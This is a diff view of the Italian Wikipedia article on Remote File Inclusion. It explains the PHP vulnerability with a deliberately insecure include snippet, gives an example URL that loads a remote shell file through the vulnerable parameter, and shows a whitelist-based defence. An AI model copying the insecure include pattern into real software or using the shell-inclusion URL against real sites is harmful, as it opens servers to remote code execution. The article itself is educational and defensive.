Remote File Inclusion: differenze tra le versioni

Contenuto cancellato Contenuto aggiunto
DragonBot (discussione | contributi)
m Bot: Aggiungo: sv:Remote File Inclusion
Funzionalità collegamenti suggeriti: 1 collegamento inserito.
 
(20 versioni intermedie di 19 utenti non mostrate)
Riga 1:
{{sS|sicurezza informatica}}
'''Remote File Inclusion''', o '''RFI''', nell'ambito della [[sicurezza informatica]] indica una [[vulnerabilità informatica|vulnerabilità]] che affligge i servizi [[web]] con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del [[PHP]]. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.
 
== Codice vulnerabile ==
Riga 6:
Questo è un semplice esempio di un codice vulnerabile:
 
<syntaxhighlight lang=php>
<?php
$var = $_GET['var'];
include ($var);
?>
</syntaxhighlight>
 
con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'[[Uniform Resource Locator|URL]]) a piacere si può vedere in azione il bug.
Line 17 ⟶ 19:
== Come funziona l'attacco ==
 
Se c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una [[shell (informatica)|shell]] in PHP
<nowiki>http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt</nowiki>
da notare che la pagina da includere non deve essere in PHP (perché se noaltrimenti viene incluso solo l'output [[HTML]] generato della pagina e non il codice vero e proprio).
 
==Come difendersi==
In genere quando si deve includere una pagina esterna nella propria [[applicazione web]] si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.
<nowiki>http://miosito.it/index.php?var=1</nowiki>
poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:
 
<nowiki> <?php
<syntaxhighlight lang=php>
<?php
$var = $_GET['var'];
if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');
elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');
else die('tentativo di intrusione');
?>
?></nowiki>
</syntaxhighlight>
 
[[Categoria:Sicurezza informatica]]
 
[[de:Remote File Inclusion]]
[[en:Remote File Inclusion]]
[[es:Remote File Inclusion]]
[[ru:PHP-инъекция]]
[[sv:Remote File Inclusion]]